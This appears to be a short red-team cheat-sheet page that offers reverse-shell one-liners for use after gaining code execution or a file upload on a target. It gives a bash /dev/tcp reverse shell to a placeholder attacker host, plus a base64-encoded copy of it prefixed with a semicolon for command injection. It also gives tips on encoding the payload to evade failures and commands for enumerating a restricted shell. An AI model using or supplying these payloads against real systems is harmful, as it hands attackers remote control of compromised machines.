OSINT-Cheat-sheet/Script/Red-Team/Bash-script/Reverse-shell.md

TIPS

If you have obtained a vulnerability such as RCE, file upload or something else, you can use the script below to spawn a shell or backconnect revershell. If the shell does not run see below

1. Make sure the target has internet access (internet access opened)
2. Try changing the port to a larger one such as 8080, 8888, etc.
3. Encode your script using base64 and then decode it
4. Encode your script using url encode

Script 1

sh -i >& /dev/tcp/<YOUR HOST OR IP>/<PORT> 0>&1

Script 2

; echo c2ggLWkgPiYgL2Rldi90Y3AvPFlPVVIgSE9TVCBPUiBJUD4vPFBPUlQ+IDA+JjE= | base64 -d | bash;"

Tips escape from jails or hardening server

Enum about the jail

echo $SHELL
echo $PATH
env
export
pwd

Source

• Hacktrikcs Escaping from Jails
• Hacktricks github escape from jails
• 0xffsec restricted-shells